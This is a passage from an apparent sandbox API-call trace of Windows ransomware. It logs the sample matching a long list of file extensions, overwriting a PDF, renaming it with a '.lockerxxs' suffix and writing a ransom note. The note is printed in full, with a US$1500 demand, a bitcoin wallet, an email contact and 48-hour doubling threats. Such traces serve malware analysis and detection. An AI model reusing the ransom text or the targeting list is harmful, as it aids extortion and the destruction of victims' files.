(pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.qbo") returned 0 [0068.666] lstrlenA (lpString="*.qbo") returned 5 [0068.666] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.qbx") returned 0 [0068.666] lstrlenA (lpString="*.qbx") returned 5 [0068.666] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.qba") returned 0 [0068.666] lstrlenA (lpString="*.qba") returned 5 [0068.666] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.qby") returned 0 [0068.667] lstrlenA (lpString="*.qby") returned 5 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.qbj") returned 0 [0068.667] lstrlenA (lpString="*.qbj") returned 5 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.ofx") returned 0 [0068.667] lstrlenA (lpString="*.ofx") returned 5 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.qif") returned 0 [0068.667] lstrlenA (lpString="*.qif") returned 5 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.mye") returned 0 [0068.667] lstrlenA (lpString="*.mye") returned 5 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.mbox") returned 0 [0068.667] lstrlenA (lpString="*.mbox") returned 6 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.667] lstrlenA (lpString="*.eml") returned 5 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.pst") returned 0 [0068.667] lstrlenA (lpString="*.pst") returned 5 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.ost") returned 0 [0068.667] lstrlenA (lpString="*.ost") returned 5 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.idx") returned 0 [0068.667] lstrlenA (lpString="*.idx") returned 5 [0068.667] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.dbx") returned 0 [0068.667] lstrlenA (lpString="*.dbx") returned 5 [0068.668] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.sql") returned 0 [0068.668] lstrlenA (lpString="*.sql") returned 5 [0068.668] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.mdb") returned 0 [0068.668] lstrlenA (lpString="*.mdb") returned 5 [0068.668] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.fdb") returned 0 [0068.668] lstrlenA (lpString="*.fdb") returned 5 [0068.668] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.wab") returned 0 [0068.669] lstrlenA (lpString="*.wab") returned 5 [0068.669] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.dat") returned 0 [0068.669] lstrlenA (lpString="*.dat") returned 5 [0068.669] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.txt") returned 0 [0068.669] lstrlenA (lpString="*.txt") returned 5 [0068.669] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.jpeg") returned 0 [0068.669] lstrlenA (lpString="*.jpeg") returned 6 [0068.669] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.jpg") returned 0 [0068.669] lstrlenA (lpString="*.jpg") returned 5 [0068.669] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.png") returned 0 [0068.669] lstrlenA (lpString="*.png") returned 5 [0068.669] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.php") returned 0 [0068.669] lstrlenA (lpString="*.php") returned 5 [0068.669] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.cs") returned 0 [0068.669] lstrlenA (lpString="*.cs") returned 4 [0068.669] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.cpp") returned 0 [0068.670] lstrlenA (lpString="*.cpp") returned 5 [0068.670] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.rar") returned 0 [0068.670] lstrlenA (lpString="*.rar") returned 5 [0068.670] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.zip") returned 0 [0068.670] lstrlenA (lpString="*.zip") returned 5 [0068.670] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.html") returned 0 [0068.670] lstrlenA (lpString="*.html") returned 6 [0068.670] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.htm") returned 0 [0068.670] lstrlenA (lpString="*.htm") returned 5 [0068.670] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.xlsx") returned 0 [0068.670] lstrlenA (lpString="*.xlsx") returned 6 [0068.670] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.xls") returned 0 [0068.670] lstrlenA (lpString="*.xls") returned 5 [0068.670] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.mp4") returned 0 [0068.670] lstrlenA (lpString="*.mp4") returned 5 [0068.670] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.ppt") returned 0 [0068.670] lstrlenA (lpString="*.ppt") returned 5 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.pptx") returned 0 [0068.671] lstrlenA (lpString="*.pptx") returned 6 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.doc") returned 0 [0068.671] lstrlenA (lpString="*.doc") returned 5 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.dot") returned 0 [0068.671] lstrlenA (lpString="*.dot") returned 5 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.docx") returned 0 [0068.671] lstrlenA (lpString="*.docx") returned 6 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.7z") returned 0 [0068.671] lstrlenA (lpString="*.7z") returned 4 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.tar") returned 0 [0068.671] lstrlenA (lpString="*.tar") returned 5 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.bz2") returned 0 [0068.671] lstrlenA (lpString="*.bz2") returned 5 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.gz") returned 0 [0068.671] lstrlenA (lpString="*.gz") returned 4 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.mkv") returned 0 [0068.671] lstrlenA (lpString="*.mkv") returned 5 [0068.671] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.eml") returned 0 [0068.672] lstrlenA (lpString="*.eml") returned 5 [0068.672] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.msg") returned 0 [0068.672] lstrlenA (lpString="*.msg") returned 5 [0068.672] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.edb") returned 0 [0068.672] lstrlenA (lpString="*.edb") returned 5 [0068.672] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.accdb") returned 0 [0068.672] lstrlenA (lpString="*.accdb") returned 7 [0068.672] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.odb") returned 0 [0068.672] lstrlenA (lpString="*.odb") returned 5 [0068.672] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.java") returned 0 [0068.672] lstrlenA (lpString="*.java") returned 6 [0068.672] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.asm") returned 0 [0068.672] lstrlenA (lpString="*.asm") returned 5 [0068.672] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.pfx") returned 0 [0068.672] lstrlenA (lpString="*.pfx") returned 5 [0068.672] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.pem") returned 0 [0068.672] lstrlenA (lpString="*.pem") returned 5 [0068.672] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.p12") returned 0 [0068.673] lstrlenA (lpString="*.p12") returned 5 [0068.673] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.gpg") returned 0 [0068.673] lstrlenA (lpString="*.gpg") returned 5 [0068.673] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.vsd") returned 0 [0068.673] lstrlenA (lpString="*.vsd") returned 5 [0068.673] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.odg") returned 0 [0068.673] lstrlenA (lpString="*.odg") returned 5 [0068.673] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.raw") returned 0 [0068.673] lstrlenA (lpString="*.raw") returned 5 [0068.673] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.nef") returned 0 [0068.673] lstrlenA (lpString="*.nef") returned 5 [0068.673] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.svg") returned 0 [0068.673] lstrlenA (lpString="*.svg") returned 5 [0068.673] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.psd") returned 0 [0068.673] lstrlenA (lpString="*.psd") returned 5 [0068.673] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.vmx") returned 0 [0068.673] lstrlenA (lpString="*.vmx") returned 5 [0068.673] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.vmdk") returned 0 [0068.674] lstrlenA (lpString="*.vmdk") returned 6 [0068.674] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.vdi") returned 0 [0068.674] lstrlenA (lpString="*.vdi") returned 5 [0068.674] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.lay6") returned 0 [0068.674] lstrlenA (lpString="*.lay6") returned 6 [0068.674] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.mpeg") returned 0 [0068.674] lstrlenA (lpString="*.mpeg") returned 6 [0068.674] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.djvu") returned 0 [0068.674] lstrlenA (lpString="*.djvu") returned 6 [0068.674] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.tiff") returned 0 [0068.674] lstrlenA (lpString="*.tiff") returned 6 [0068.674] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.backup") returned 0 [0068.674] lstrlenA (lpString="*.backup") returned 8 [0068.674] PathMatchSpecA (pszFile="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", pszSpec="*.pdf") returned 1 [0068.674] lstrlenA (lpString="*.pdf") returned 5 [0068.674] lstrcpyA (in: lpString1=0x404950, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" [0068.674] lstrcpyA (in: lpString1=0x405b50, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" [0068.674] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf", lpString2="." | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf.") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf." [0068.675] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf.", lpString2="lockerxxs" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf.lockerxxs") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf.lockerxxs" [0068.675] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.675] GetFileSize (in: hFile=0x94, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x10405 [0068.675] GetFileTime (in: hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e | out: lpCreationTime=0x40752e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4), lpLastAccessTime=0x407536*(dwLowDateTime=0x805da3e0, dwHighDateTime=0x1d2dda0), lpLastWriteTime=0x40753e*(dwLowDateTime=0x9640cd00, dwHighDateTime=0x1cb84b4)) returned 1 [0068.675] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.676] ReadFile (in: hFile=0x94, lpBuffer=0x1d00020, nNumberOfBytesToRead=0x196830, lpNumberOfBytesRead=0x40655d, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesRead=0x40655d*=0x103df, lpOverlapped=0x0) returned 1 [0068.679] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf") returned="DefaultID.pdf" [0068.680] SetFilePointer (in: hFile=0x94, lDistanceToMove=38, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x26 [0068.680] WriteFile (in: hFile=0x94, lpBuffer=0x1d00020*, nNumberOfBytesToWrite=0x103df, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x1d00020*, lpNumberOfBytesWritten=0x406561*=0x103df, lpOverlapped=0x0) returned 1 [0068.680] SetFileTime (hFile=0x94, lpCreationTime=0x40752e, lpLastAccessTime=0x407536, lpLastWriteTime=0x40753e) returned 1 [0068.680] CloseHandle (hObject=0x94) returned 1 [0068.682] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NLD\\DefaultID.pdf.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nld\\defaultid.pdf.lockerxxs")) returned 1 [0068.683] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10405, dwReserved0=0xec0003ef, dwReserved1=0x4e00c4, cFileName="DefaultID.pdf", cAlternateFileName="DEFAUL~1.PDF")) returned 0 [0068.683] FindClose (in: hFindFile=0x502658 | out: hFindFile=0x502658) returned 1 [0068.683] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4f7008, dwReserved1=0x3, cFileName="NOR", cAlternateFileName="")) returned 1 [0068.683] lstrcmpA (lpString1=".", lpString2="NOR") returned -1 [0068.683] lstrcmpA (lpString1="..", lpString2="NOR") returned -1 [0068.683] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\*.*") returned="*.*" [0068.683] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\", lpString2="NOR" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR" [0068.684] lstrlenA (lpString="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR") returned 63 [0068.684] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*.*", lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xed0003ee, dwReserved1=0x4e00c4, cFileName=".", cAlternateFileName="")) returned 0x502658 [0068.684] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0068.684] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x805da3e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x805da3e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x4e0000, cFileName="..", cAlternateFileName="")) returned 1 [0068.684] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0068.684] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0068.684] FindNextFileA (in: hFindFile=0x502658, lpFindFileData=0x18f658 | out: lpFindFileData=0x18f658*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9640cd00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x805da3e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9640cd00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x10956, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="AdobeID.pdf", cAlternateFileName="")) returned 1 [0068.684] PeekMessageA (in: lpMsg=0x18f634, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f634) returned 0 [0068.684] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdobeID.pdf") returned 1 [0068.685] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdobeID.pdf") returned 1 [0068.685] lstrcmpiA (lpString1="", lpString2="AdobeID.pdf") returned -1 [0068.685] PathFindFileNameA (pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\*.*") returned="*.*" [0068.685] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\" [0068.685] PathAddBackslashA (in: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\" | out: pszPath="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\") returned="" [0068.685] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\HOW TO DECRYPT FILES.txt") returned="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\HOW TO DECRYPT FILES.txt" [0068.685] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\how to decrypt files.txt")) returned 0xffffffff [0068.685] CreateFileA (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\idtemplates\\nor\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x94 [0068.686] lstrlenA (lpString="All your personal FILES are now ENCRYPTED!\r\n\r\n\r\nDon't worry, you can get back all your files\r\nI don't want to lose your files too. If I want to do something nasty I would have wipe out all of your data\r\nbut that is not helping me. :) \r\nSo temporary all of your files are mine now until you pay the service cost of recovering them.\r\nIf yo want to recover them contact me at the emaill below, I'll be more than happy to help you to get out of this situation.\r\nYou have got 48 hours exactly, before you lost your files forever.\r\nFailing which, the price to recover double with every 48 hours passing!\r\nRest assured, all your files will be recovered once payment is received.\r\n\r\nThe Price to get all things back to normal : US$ 1500\r\nMy BTC Wallet : 1Mc9xe3mjaMLz99CUjao88s65X3ydVEZbX\r\n\r\nEmail : frankhans@tuta.io\r\n\r\n") returned 813 [0068.686] WriteFile (in: hFile=0x94, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0068.687] SetFileTime (hFile=0x94, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0068.688] CloseHandle (hObject=0x94) returned 1 [0068.688] lstrcatA (in: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\", lpString2="AdobeID.pdf" | out: lpString1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\IDTemplates\\NOR\\AdobeID.pdf") returned="C:\\Program Files (x86)\\Adobe\\Reader 